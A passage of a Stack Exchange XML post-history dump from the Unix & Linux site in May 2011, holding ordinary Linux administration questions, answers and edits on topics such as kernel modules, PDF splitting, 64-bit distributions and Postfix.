  <row Id="30614" PostHistoryTypeId="25" PostId="12480" RevisionGUID="7da04f1b-d877-40eb-bc83-89cf3c800135" CreationDate="2011-05-02T21:11:21.377" Comment="http://twitter.com/#!/StackUnix/status/65161476717031424" />
  <row Id="30615" PostHistoryTypeId="2" PostId="12488" RevisionGUID="449274e6-d4e4-48ab-af95-cb3db3d5d00e" CreationDate="2011-05-02T21:16:59.283" UserId="7098" Text=".pages extension designates a file created with the Apple's word processing software called &quot;Pages&quot;. AFAIK, Pages can be bought along with other iWork (suite) tools like &quot;Numbers&quot; (spreadsheets) or alone.&#xD;&#xA;It is able to produce PDF and RDF so if you can ask these format, just do it.&#xD;&#xA;&#xD;&#xA;The .pages files are zipped archives. Extract it and you'll find several files, HTML, XML, images, ...&#xD;&#xA;&#xD;&#xA;So you can't edit them but have a preview.&#xD;&#xA;&#xD;&#xA;AFAIK there is no Pages2ODT converter." />
  <row Id="30616" PostHistoryTypeId="2" PostId="12489" RevisionGUID="dfd8e4b7-d9ad-4e6d-bc5d-7defbf463787" CreationDate="2011-05-02T21:20:17.277" UserId="1375" Text="Is there an equivalent of the excellent note-taking software [Notational Velocity][1] for Linux machines?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://notational.net/" />
  <row Id="30617" PostHistoryTypeId="1" PostId="12489" RevisionGUID="dfd8e4b7-d9ad-4e6d-bc5d-7defbf463787" CreationDate="2011-05-02T21:20:17.277" UserId="1375" Text="Notational Velocity on Linux?" />
  <row Id="30618" PostHistoryTypeId="3" PostId="12489" RevisionGUID="dfd8e4b7-d9ad-4e6d-bc5d-7defbf463787" CreationDate="2011-05-02T21:20:17.277" UserId="1375" Text="élinuxàénotesàénoteötakingà" />
  <row Id="30619" PostHistoryTypeId="2" PostId="12490" RevisionGUID="70721883-3b84-4085-8339-fea2d7100609" CreationDate="2011-05-02T21:22:43.010" UserId="7098" Text="Well...&#xD;&#xA;this looks like a very bad idea. But, it's possible.&#xD;&#xA;&#xD;&#xA;As fdisk is open source, just grab its source, and look at the Makefile. You should find an option that will pass &quot;-static&quot; to gcc at compilation.&#xD;&#xA;&#xD;&#xA;I'm not a C/C++ guru but as far as I know creating a statically-linked binary from an existing dynamically-linked binary is not possible.&#xD;&#xA;&#xD;&#xA;If you want to use it anywhere, I'd recommend to use a tiny maintenance distribution that starts within seconds and let you modify everything.&#xD;&#xA;&#xD;&#xA;It makes more sens to me because you'll probably want to modify the disk running your Linux/UNIX installation." />
  <row Id="30620" PostHistoryTypeId="2" PostId="12491" RevisionGUID="8f2b8222-824b-4e95-bab2-b1ce58f6a08f" CreationDate="2011-05-02T21:27:08.097" UserId="885" Text="Whether 64-bit is good or bad for performance depends a lot on the application. Generally speaking:&#xD;&#xA;&#xD;&#xA;* Numerical computations (integer or floating point) are faster in 64 bits, and take about the same amount of memory.&#xD;&#xA;* Symbolic computations (manipulating structured data) are slower and can take twice as much memory in 64 bits.&#xD;&#xA;* Text manipulation is roughly the same (a little slower and more memory-hungry in 64-bits).&#xD;&#xA;&#xD;&#xA;However these are only very rough guidelines, there are a lot of exceptions.&#xD;&#xA;&#xD;&#xA;Windows guidelines tend to steer people away from a 64-bit operating system because there are more incompatible applications. Linux was ready for amd64 earlier; the few remaining incompatible applications are mostly closed-source and run fine as 32-bit executables on a 64-bit kernel with the appropriate 32-bit libraries.&#xD;&#xA;&#xD;&#xA;On Linux, here are some guidelines:&#xD;&#xA;&#xD;&#xA;* If you have specific applications that require or would benefit from 64 bits, you need a 64-bit kernel. Note that you can have an amd64 kernel with an ix86 userland, but not the opposite. If these applications don't require many libraries, you could run an amd64 kernel with a 32-bit distribution.&#xD;&#xA;* If you need more than 3GB of address space in a single process, it must be 64-bit.&#xD;&#xA;* If you have 4GB of RAM or more, get a 64-bit distribution. Linux can use up to 64GB with a 32-bit kernel, but it needs to be PAE-enabled (most distributions include a PAE kernel but it might not be the default one).&#xD;&#xA;* If you have less than 1GB of RAM, go 32-bit.&#xD;&#xA;* From 1GB to 3GB, go either way, with a slight preference for 64-bit, but perhaps keeping a few applications 32-bit. (For example, I measured *more* than twice the memory usage with an amd64 binary of Firefox 3.0 than with an ix86 binary of the same version. I haven't repeated the measures for later versions.)&#xD;&#xA;" />
  <row Id="30621" PostHistoryTypeId="2" PostId="12492" RevisionGUID="790dd0c9-714d-43df-a8d3-90401f93627c" CreationDate="2011-05-02T21:31:30.120" UserId="7098" Text="You can try to add `:.` to your $PATH variable.&#xD;&#xA;&#xD;&#xA;Try ALT+F2 and type: `gksudo gedit /etc/environment` if running Linux/GTK (this is what you have if using Ubuntu).&#xD;&#xA;&#xD;&#xA;HOWEVER, I strongly advise you NOT to do that. It's bad bad bad and bad.&#xD;&#xA;&#xD;&#xA;You know, that kind of things work like this since 1970. There is a reason why the current directory isn't included in the $PATH.&#xD;&#xA;&#xD;&#xA;`.` is the current directory&#xD;&#xA;&#xD;&#xA;`.something` would be a hidden file (Type &quot;ALT+&quot; to make them appear in Nautilus, or try &quot;`ls -la`&quot;.&#xD;&#xA;&#xD;&#xA;`./someProgram.sh` is what you type to RUN an executable someProgram.sh in the current directory.&#xD;&#xA;&#xD;&#xA;`.somethingElse` would mean that you have a hidden executable in the current directory, which is a bad idea." />
  <row Id="30622" PostHistoryTypeId="5" PostId="12489" RevisionGUID="0d6ad0c6-6a34-4b0f-beb7-1d957e6ae35c" CreationDate="2011-05-02T21:38:08.067" UserId="73" Comment="deleted 35 characters in body; edited tags" Text="Is there a Linux equivalent of the note-taking software [Notational Velocity][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://notational.net/" />
  <row Id="30623" PostHistoryTypeId="6" PostId="12489" RevisionGUID="0d6ad0c6-6a34-4b0f-beb7-1d957e6ae35c" CreationDate="2011-05-02T21:38:08.067" UserId="73" Comment="deleted 35 characters in body; edited tags" Text="élinuxàésoftwareörecàénotesà" />
  <row Id="30624" PostHistoryTypeId="5" PostId="12468" RevisionGUID="733af0d2-c10f-4267-a87d-e536a52c9a56" CreationDate="2011-05-02T21:41:16.800" UserId="6766" Comment="added 235 characters in body" Text="I have a Dell 710 with Quad Bcom NetExtreme 5709s.  In the name of expediency, I'm trying to boot off the Squeeze live CD, but the Broadcom drivers are in non-free, so they don't come up when you boot.&#xD;&#xA;&#xD;&#xA;No problem, I think to myself.  I will sneaker-net the bnx2-firmware deb and all is good.&#xD;&#xA;&#xD;&#xA;I can see the interfaces in `lspci`, I have unpacked the deb and successfully executed `modprobe bnx2`; however I still can't see the interfaces in `ip link show`.  What else should I do to bring these interfaces up without a reboot?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;---&#xD;&#xA;I have old entries in `/var/log/kern.log` about the failure to load `bnx2` at boot, but the modprobe completes successfully with no other log entries...&#xD;&#xA;&#xD;&#xA;    $ lsmod | grep bnx&#xD;&#xA;    bnx2                   57385  0 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="30625" PostHistoryTypeId="2" PostId="12493" RevisionGUID="650a51a6-947d-4d2e-b4f8-770b923b9cd7" CreationDate="2011-05-02T21:41:59.153" UserId="7136" Text="Debian has some features that you could consider &quot;advantages&quot; depending on your needs and use cases.&#xD;&#xA;&#xD;&#xA; - Stability. The Debian Stable branch has been tested extensively, generally for at least a year, as the Testing branch. The only updates Stable get are mission critical bug fixes and security fixes. This makes it an extremely stable platform (i.e., well-tested and little change).&#xD;&#xA; - A tier-ed branch system for releases allowing you to pick the level of stability/up-to-dateness you need. Stable, Testing, and Unstable (plus backports, where select packages and libraries are ported from Testing to Stable). This provides a great deal of flexibility in how you decide to upgrade or stay with a certain version of a package or an entire release.&#xD;&#xA; - [The Debian Social Contract][1]. A commitment to free software and the free software community. For the community, by the community.&#xD;&#xA; - Debian is your way. You get a tremendous amount of choice and configuration options. There is no one &quot;typical&quot; Debian install. Debian is on your terms.&#xD;&#xA; - Maturity - The Debian project has been around for a long time and is a stable part of the free and open source software ecosystem.&#xD;&#xA; - Debian has been ported to many different hardware architectures. The current Stable release has 11 different ports. Ubuntu on the other hand is focused on the x86, and amd64 platforms.&#xD;&#xA; - A LOT of packages. As in 29,000 worth. There's an old saying, if the project exists there's a .deb for it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/social_contract" />
  <row Id="30626" PostHistoryTypeId="2" PostId="12494" RevisionGUID="8e308beb-a087-47c9-a67d-83df3b8c0b90" CreationDate="2011-05-02T21:47:35.403" UserId="885" Text="If fdisk is just an example and your goal is really to make static executables from dynamic executables, try [Elf statifier](http://statifier.sourceforge.net/). There's even a [comparison with Ermine (by the Ermine vendor, so caveat (non-)emptor)](http://www.magicermine.com/products.html#feature_comparison). Note that&#xD;&#xA;&#xD;&#xA;* If you have many executables, their combined size is likely to be more than the combined size of the dynamically-linked executables plus the necessary dynamic libraries.&#xD;&#xA;* There are features of GNU libc that may not work in a statically-linked executables, such as [NSS](http://en.wikipedia.org/wiki/Name_Service_Switch) (databases of user names, host names, etc.) and locale-related features.&#xD;&#xA;&#xD;&#xA;If your goal is to have a small, portable suite of system tools, you're looking for [BusyBox](http://www.busybox.net/), a suite of core tools intended for embedded systems (including [`fdisk`](http://www.busybox.net/downloads/BusyBox.html#fdisk)). You may also be interested in a smaller standard library than Glibc, for example [dietlibc](http://www.fefe.de/dietlibc/) or [µClibc](http://uclibc.org/).&#xD;&#xA;" />
  <row Id="30627" PostHistoryTypeId="6" PostId="12485" RevisionGUID="d1c0c61c-ae21-4950-a10f-84fd4883501a" CreationDate="2011-05-02T21:51:47.707" UserId="885" Comment="edited tags" Text="élinuxàécentosàéhardwareàémemoryà" />
  <row Id="30628" PostHistoryTypeId="5" PostId="12483" RevisionGUID="90804e45-8bec-4fdb-a24f-3b2e4aac3bd9" CreationDate="2011-05-02T22:15:18.083" UserId="885" Comment="added pypdf solution, yay pypdf" Text="Here's a small Python script using the [PyPdf library](http://pybrary.net/pyPdf/) that does the job neatly.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    import copy, sys&#xD;&#xA;    from pyPdf import PdfFileWriter, PdfFileReader&#xD;&#xA;    input = PdfFileReader(sys.stdin)&#xD;&#xA;    output = PdfFileWriter()&#xD;&#xA;    for p in [input.getPage(i) for i in range(0,input.getNumPages())]:&#xD;&#xA;        q = copy.copy(p)&#xD;&#xA;        (w, h) = p.mediaBox.upperRight&#xD;&#xA;        p.mediaBox.upperRight = (w/2, h)&#xD;&#xA;        q.mediaBox.upperLeft = (w/2, h)&#xD;&#xA;        output.addPage(p)&#xD;&#xA;        output.addPage(q)&#xD;&#xA;    output.write(sys.stdout)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Just in case it's useful, here's my earlier answer which uses a combination of two tools plus some manual intervention:&#xD;&#xA;&#xD;&#xA;* [Pdfjam](http://www.warwick.ac.uk/go/pdfjam), based on the [pdfpages](http://mirror.math.ku.edu/tex-archive/macros/latex/contrib/pdfpages/pdfpages.pdf) LaTeX package, to crop the pages;&#xD;&#xA;* [Pdftk](http://www.pdfhacks.com/pdftk/), to put the left and right halves back together.&#xD;&#xA;&#xD;&#xA;Both tools are needed because as far as I can tell pdfpages isn't able to apply two different transformations to the same page in one stream. In the call to `pdftk`, replace 42 by the numer of pages in the input document (`2up.pdf`).&#xD;&#xA;&#xD;&#xA;    pdfjam --outfile odd.pdf --trim '0cm 0cm 14.85cm 0cm' --scale '1.141' -- 2up.pdf&#xD;&#xA;    pdfjam -o even.pdf --trim '14.85cm 0cm 0cm 0cm' --scale 1.141 2up.pdf&#xD;&#xA;    pdftk O=odd.pdf E=even.pdf cat $(i=1; while [ $i -le 42 ]; do echo O$i E$i; i=$(($i+1)); done) output all.pdf&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30629" PostHistoryTypeId="2" PostId="12495" RevisionGUID="a32fd893-61eb-4b68-8f3e-bb5621e3288f" CreationDate="2011-05-02T22:21:52.363" UserId="885" Text="The firmware must be present at the time you load the driver. So be sure to unload the module and reload it:&#xD;&#xA;&#xD;&#xA;     # &lt;install firmware&gt;&#xD;&#xA;     rmmod bnx2&#xD;&#xA;     modprobe bnx2&#xD;&#xA;&#xD;&#xA;For some drivers (I don't know about this one), you may need to unload auxiliary modules that it's using. `lsmod | grep bnx2` will show what modules `bnx2` uses. Call `rmmod` on all of them in reverse dependency order.&#xD;&#xA;&#xD;&#xA;Most modules emit some log messages when they're loaded and they find a potential device, sometimes even if they don't find a potential device. These logs would be on `/var/log/kern.log`, at least on Debian and Ubuntu.&#xD;&#xA;" />
  <row Id="30630" PostHistoryTypeId="5" PostId="5713" RevisionGUID="b3685b76-ac64-47ef-9bf2-cc2b3addb8f7" CreationDate="2011-05-02T22:42:13.320" UserId="138" Comment="clarified the significance of both inode values being the same" Text="`/..` points to `/`:&#xD;&#xA;&#xD;&#xA;    $ ls -id /&#xD;&#xA;    2 /&#xD;&#xA;    $ ls -id /..&#xD;&#xA;    2 /..&#xD;&#xA;&#xD;&#xA;Both have the same inode number, which happens to be 2 on this system. (The exact value doesn't matter.)&#xD;&#xA;&#xD;&#xA;It's done for consistency. This way, there doesn't have to be code in the kernel to check where it currently is when it processes a `..` in a path. You can say `cd ..` forever, and never go deeper than the root." />
  <row Id="30631" PostHistoryTypeId="5" PostId="12473" RevisionGUID="fd97e3c6-9ca9-4495-8801-e09fd49c165e" CreationDate="2011-05-02T22:57:50.810" UserId="29" Comment="need whitespace" Text="[@behrooz](http://unix.stackexchange.com/users/7139/behrooz) is correct. Unfortunately `uname` requires you to know architectures. Actually, I was looking for a list of architectures and I found [this article](http://www.cyberciti.biz/faq/linux-how-to-find-if-processor-is-64-bit-or-not/) that answers your question. In regards to `uname -m`:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;x86_64 GNU/Linux indicates that you've a 64bit Linux kernel running. If you use see i386/i486/i586/i686 it is a 32 bit kernel.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;You can also determine what the actual hardware CPU is capable of by:&#xD;&#xA;&#xD;&#xA;    grep flags /proc/cpuinfo&#xD;&#xA;&#xD;&#xA;Look for the following in the output (all flags retrieved from [this stackoverflow answer](http://stackoverflow.com/questions/246007/how-to-determine-whether-a-given-linux-is-32-bit-or-64-bit/246014#246014) for the same question )&#xD;&#xA;&#xD;&#xA; * `lm` flag means Long mode cpu - 64 bit CPU&#xD;&#xA; * `tm` flag means Protected mode - 32-bit CPU&#xD;&#xA; * `rm` flag means Real Mode - 16 bit CPU" />
  <row Id="30632" PostHistoryTypeId="4" PostId="12468" RevisionGUID="ba1594ac-86ee-40a0-8d9e-d5c81a2ee865" CreationDate="2011-05-02T23:07:12.410" UserId="6766" Comment="edited title; edited tags" Text="Debian Live - modprobe failed to bring up Broadcom ethernet interfaces" />
  <row Id="30633" PostHistoryTypeId="6" PostId="12468" RevisionGUID="ba1594ac-86ee-40a0-8d9e-d5c81a2ee865" CreationDate="2011-05-02T23:07:12.410" UserId="6766" Comment="edited title; edited tags" Text="élinuxàédebianàéethernetàébroadcomàémodprobeà" />
  <row Id="30634" PostHistoryTypeId="23" PostId="12390" RevisionGUID="9970e24c-2fae-4104-8723-fdbbcc960ecc" CreationDate="2011-05-02T23:48:01.250" UserId="2609" />
  <row Id="30635" PostHistoryTypeId="25" PostId="12469" RevisionGUID="d2536f91-1684-4902-b69b-0bf345664171" CreationDate="2011-05-03T00:11:21.417" Comment="http://twitter.com/#!/StackUnix/status/65206776164921344" />
  <row Id="30636" PostHistoryTypeId="5" PostId="11670" RevisionGUID="8ba679a8-5465-49a1-931f-8a5bb1122446" CreationDate="2011-05-03T00:47:24.117" UserId="6767" Comment="added more output from dmidecode" Text="My brand new Thinkpad X120e is working well with Ubuntu Natty.  Now I want to get the &lt;a href=&quot;http://www.thinkwiki.org/wiki/Tp_smapi&quot;&gt;tp_smapi module&lt;/a&gt; to work so I can control battery charge behavior.  Unfortunately I get &quot;no Thinkpad embedded controller&quot; (below).&#xD;&#xA;&#xD;&#xA;The thinkwiki tp_smapi page says in this case &quot;you should &lt;a href=&quot;http://www.thinkwiki.org/wiki/BIOS_Upgrade&quot;&gt;upgrade your BIOS&lt;/a&gt;.  Some early BIOS (like 1.x on the X31) don't handle the embedded controller&quot;.  But in my case, dmidecode suggests I'm already using the almost-newest &lt;a href=&quot;http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-74392&quot;&gt;BIOS from IBM&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;    # apt-get install tp-smapi-dkms&#xD;&#xA;    ...(works)...&#xD;&#xA;    # modprobe -v tp_smapi&#xD;&#xA;    WARNING: Error inserting thinkpad_ec (/lib/modules/2.6.38-7-generic/updates/dkms/thinkpad_ec.ko): No such device&#xD;&#xA;    FATAL: Error inserting tp_smapi (/lib/modules/2.6.38-7-generic/updates/dkms/tp_smapi.ko): No such device&#xD;&#xA;    # tail -1 /var/log/syslog&#xD;&#xA;    Apr 19 23:45:05 xilotl kernel: [ 5552.149408] thinkpad_ec: no ThinkPad embedded controller!&#xD;&#xA;    # dmidecode -s bios-version&#xD;&#xA;    8FET26WW (1.10 )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any other idea how to make this work?&#xD;&#xA;&#xD;&#xA;UPDATE: Here are other relevant portions of `dmidecode`:&#xD;&#xA;&#xD;&#xA;    Handle 0x0000, DMI type 0, 24 bytes&#xD;&#xA;    BIOS Information&#xD;&#xA;        Vendor: LENOVO&#xD;&#xA;        Version: 8FET26WW (1.10 )&#xD;&#xA;        Release Date: 03/09/2011&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;    Handle 0x0001, DMI type 1, 27 bytes&#xD;&#xA;    System Information&#xD;&#xA;        Manufacturer: LENOVO&#xD;&#xA;        Product Name: 0596CTO&#xD;&#xA;        Version: ThinkPad X120e&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;    Handle 0x0027, DMI type 11, 5 bytes&#xD;&#xA;    OEM Strings&#xD;&#xA;        String 1: OEM default string&#xD;&#xA;" />
  <row Id="30637" PostHistoryTypeId="2" PostId="12496" RevisionGUID="43ba2ae9-0713-4fe1-816b-c2a6ab55a833" CreationDate="2011-05-03T01:30:58.133" UserId="6767" Text="I was able to make this work by editing the source code of `thinkpad_ec.c`.&#xD;&#xA;&#xD;&#xA;The code expects that when you run `dmidecode -t 11` your output should mention &quot;IBM ThinkPad Embedded Controller&quot;.  However, the new Thinkpad X120e has a good embedded controller which is not mentioned under `dmidecode -t 11`.  As a result, the code failed with the error &quot;thinkpad_ec: no ThinkPad embedded controller!&quot;.&#xD;&#xA;&#xD;&#xA;To sidestep this check, I added ThinkPad X120e to the current list of whitelisted ThinkPad models in `thinkpad_ec.c`, then rebuilt the module.  It loaded successfully and I was able to set my battery's stop-charge-threshold in /sys/devices/platform/smapi/BAT0 as advertised.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**If you are a Thinkpad X120e user and want to use tp_smapi module now**, here's how I got past the module load failure:&#xD;&#xA;&#xD;&#xA;    $ sudo su&#xD;&#xA;    # apt-get install tp-smapi-dkms&#xD;&#xA;    ...(works)...&#xD;&#xA;    # modprobe -v tp_smapi&#xD;&#xA;    WARNING: Error inserting thinkpad_ec (/lib/modules/2.6.38-7-generic/updates/dkms/thinkpad_ec.ko): No such device&#xD;&#xA;    FATAL: Error inserting tp_smapi (/lib/modules/2.6.38-7-generic/updates/dkms/tp_smapi.ko): No such device&#xD;&#xA;    # tail -1 /var/log/syslog&#xD;&#xA;    Apr 19 23:45:05 xilotl kernel: [ 5552.149408] thinkpad_ec: no ThinkPad embedded controller!&#xD;&#xA;&#xD;&#xA;edit the crucial file using `vi /usr/src/tp-smapi-0.40/thinkpad_ec.c` to add the line marked with +:&#xD;&#xA;&#xD;&#xA;    diff --git a/thinkpad_ec.c b/thinkpad_ec.c&#xD;&#xA;    index a924d18..90d117e 100644&#xD;&#xA;    --- a/thinkpad_ec.c&#xD;&#xA;    +++ b/thinkpad_ec.c&#xD;&#xA;    @@ -460,6 +460,7 @@ static int __init check_dmi_for_ec(void)&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad A30&quot;),&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad T23&quot;),&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad X24&quot;),&#xD;&#xA;    +               TP_DMI_MATCH(&quot;LENOVO&quot;, &quot;ThinkPad X120e&quot;),&#xD;&#xA;                    { .ident = NULL }&#xD;&#xA;            };&#xD;&#xA;            return dmi_find_substring(DMI_DEV_TYPE_OEM_STRING,&#xD;&#xA;&#xD;&#xA;rebuild the module:&#xD;&#xA;&#xD;&#xA;    # dkms remove -m tp-smapi -v 0.40 --all&#xD;&#xA;    # dkms add -m tp-smapi -v 0.40&#xD;&#xA;    # dkms build -m tp-smapi -v 0.40&#xD;&#xA;    # dkms install -m tp-smapi -v 0.40&#xD;&#xA;    # modprobe tp-smapi&#xD;&#xA;&#xD;&#xA;and finally try using it:&#xD;&#xA;&#xD;&#xA;    # cd /sys/devices/platform/smapi/BAT0&#xD;&#xA;    # echo 60 &gt; stop_charge_thresh&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**If you are the `tp_smapi` module maintainer** or other knowledgeable person who can get this fixed &quot;right&quot;:  Is this the &quot;right&quot; fix?  Should Thinkpad X120e be permanently added to this whitelist, or is there another way that it should check for existence of the embedded controller?  I hope either this change or some other fix for the problem will be added to the upstream source.&#xD;&#xA;" />
  <row Id="30638" PostHistoryTypeId="5" PostId="12471" RevisionGUID="bbc4a96e-9a48-410c-abba-5e34231f83d5" CreationDate="2011-05-03T01:42:11.217" UserId="6766" Comment="added 33 characters in body" Text="Advantages: More thorough testing, and structured release cycles.  End-result, a more stable system.&#xD;&#xA;&#xD;&#xA;Disadvantage: The `stable` archives are usually behind the latest version of software releases (including -dev libraries).  This means you may need to manually install dependencies in order fill pre-reqs for that one-cool-program you really need the latest version of.  Sometimes, you can work around this with [debian-backports](http://backports.debian.org/)." />
  <row Id="30639" PostHistoryTypeId="2" PostId="12497" RevisionGUID="4c705629-2afc-4b68-a3fe-4acf46d0ec88" CreationDate="2011-05-03T02:01:27.027" UserId="6761" Text="I have been using w3m for a couple of weeks and am convinced it is my preferred text browser - with one ecception.&#xD;&#xA;&#xD;&#xA;Is there any way to yank URLs to the clipboard &lt;em&gt;without using the mouse&lt;/em&gt;?&#xD;&#xA;&#xD;&#xA;I have looked through &lt;a href=&quot;http://w3m.sourceforge.net/MANUAL&quot;&gt;the manual&lt;/a&gt; and, using the default keybindings, there doesn't appear to be any documented way to do this.&#xD;&#xA;&#xD;&#xA;Has anyone developed a script to work around this?" />
  <row Id="30640" PostHistoryTypeId="1" PostId="12497" RevisionGUID="4c705629-2afc-4b68-a3fe-4acf46d0ec88" CreationDate="2011-05-03T02:01:27.027" UserId="6761" Text="Yanking URLs in w3m" />
  <row Id="30641" PostHistoryTypeId="3" PostId="12497" RevisionGUID="4c705629-2afc-4b68-a3fe-4acf46d0ec88" CreationDate="2011-05-03T02:01:27.027" UserId="6761" Text="ébrowseràéclipboardàéw3mà" />
  <row Id="30642" PostHistoryTypeId="5" PostId="12286" RevisionGUID="6a37aee5-12af-41cd-8632-c7c13b9c58e7" CreationDate="2011-05-03T02:21:33.130" UserId="2343" Comment="added 82 characters in body" Text="UPDATE: Here is a bash way to do a single Unicode value ...(by &quot;bash&quot; I mean: not using any another scripting language) .. thanks to Gilles for a suggeston in this [askubuntu Q/A](http://askubuntu.com/questions/20806/why-does-printf-report-an-error-on-all-but-three-ascii-range-unicode-codepoints/20976#20976) .  &#xD;&#xA;According to *[this link](http://www.pixelbeat.org/cmdline.html)*: recode (Obsoletes iconv, dos2unix, unix2dos).. *Edit:* but as per the comment below, &quot;obsoletes' may just mean &quot;alternative&quot;  &#xD;&#xA;&#xD;&#xA;          echo -n 0x0965 |recode UTF-16BE/x4..UTF-8&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is a method to process a **raw** hex dump as input (ie. no escaped-prefixes like; \u0965, and no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Matsuo Basho (1644-1694)&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jumps in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$(locale charmap)&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE hex-dump input, first).   &#xD;&#xA;Note; `xxd` segments its own output with a newline at 60 hex-digits...  The revert option ignores these newlines.. it ignores any/all newlines (as the aren't hex-digits)..   &#xD;&#xA;&#xD;&#xA;    004D0061007400730075006F00200042006100730068006F002000280031&#xD;&#xA;    003600340034002D00310036003900340029000A&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A0075006D0070007300200069006E&#xD;&#xA;    000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;    &#xD;&#xA;    Matsuo Basho (1644-1694)&#xD;&#xA;      pond&#xD;&#xA;      frog jumps in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30643" PostHistoryTypeId="25" PostId="12482" RevisionGUID="e6ddb622-ae3e-400a-a25f-d941c2027ac5" CreationDate="2011-05-03T03:11:21.503" Comment="http://twitter.com/#!/StackUnix/status/65252075478589440" />
  <row Id="30644" PostHistoryTypeId="2" PostId="12498" RevisionGUID="ef62d636-c724-4183-83a3-5cb525b22b7e" CreationDate="2011-05-03T05:16:08.937" UserId="5589" Text="The question's title says it all.&#xD;&#xA;&#xD;&#xA;Scenario: The Postfix server is used *only* for mail-relay; in the office back-end, we use hMailServer. Some hMailServer users have their emails auto-forwarded to their BlackBerry account. Sometimes, they changed their BlackBerry operator without informing IT Dept. As a result, the auto-forward (handled by Postfix) failed, and a notification is sent (by Postfix) back to the user's account, which gets re-forwarded to the (no longer active) BlackBerry account, another failure, and ... well, you get the idea: A mailing loop.&#xD;&#xA;&#xD;&#xA;I need to prevent this from happening. For complex reasons, we can't change our current setup of a separate internal mail server and the cloud-based Postfix mail-relay. So, I must either reconfigure Postfix or use some other mail-relay system that can be configured as such.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="30645" PostHistoryTypeId="1" PostId="12498" RevisionGUID="ef62d636-c724-4183-83a3-5cb525b22b7e" CreationDate="2011-05-03T05:16:08.937" UserId="5589" Text="Postfix: Can I configure it to *not* include original email on undeliverable?" />
  <row Id="30646" PostHistoryTypeId="3" PostId="12498" RevisionGUID="ef62d636-c724-4183-83a3-5cb525b22b7e" CreationDate="2011-05-03T05:16:08.937" UserId="5589" Text="énotificationsàépostfixàéundeliverableà" />
  <row Id="30647" PostHistoryTypeId="2" PostId="12499" RevisionGUID="db45c4fb-d6d4-417a-bbfd-7cb164efa0c3" CreationDate="2011-05-03T05:24:51.243" UserId="6960" Text="I think there is no iptables/pf solution to only allow an XY application on e.g.: outbound tcp port 80, eth0. So if I have a userid: &quot;500&quot; then how could I block any other communications then the mentioned on port 80/outbound/tcp/eth0? (e.g.: just privoxy is using port 80 on eth0)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Extra: virtualbox uses port 80 too? when a browser on the guest os visits a site..how to declaire that? - setting the normal user would be too much hole" />
  <row Id="30648" PostHistoryTypeId="1" PostId="12499" RevisionGUID="db45c4fb-d6d4-417a-bbfd-7cb164efa0c3" CreationDate="2011-05-03T05:24:51.243" UserId="6960" Text="iptables/pf rule to only allow XY application/user?" />
  <row Id="30649" PostHistoryTypeId="3" PostId="12499" RevisionGUID="db45c4fb-d6d4-417a-bbfd-7cb164efa0c3" CreationDate="2011-05-03T05:24:51.243" UserId="6960" Text="éiptablesà" />
  <row Id="30650" PostHistoryTypeId="5" PostId="11107" RevisionGUID="5034a9e7-0c05-4fa2-81df-0c5c343a0dee" CreationDate="2011-05-03T05:26:50.707" UserId="4518" Comment="more info; added 1031 characters in body" Text="Where I'm living now, the internet connection (wired) shows the following weird symptoms. They seem to be independent of whether I use host names or IP addresses.&#xD;&#xA;&#xD;&#xA;* Pinging works&#xD;&#xA;* Skype works&#xD;&#xA;* Wget connects, but never receives a response. (Keeps waiting at &quot;HTTP Request sent, awaiting response&quot; until timeout.)&#xD;&#xA; * Except for a small subset of domains, for which it works. &#xD;&#xA;* ssh commands (`ssh host ls`) works. &#xD;&#xA;* Interactive ssh works for a short while, but hangs quickly, e.g. during the first `ls` -- at the same point every time.&#xD;&#xA;* Under Windows, everything works fine.&#xD;&#xA;&#xD;&#xA;What can I do to diagnose this further? So far, I've just been looking at the application layer. Since there is an 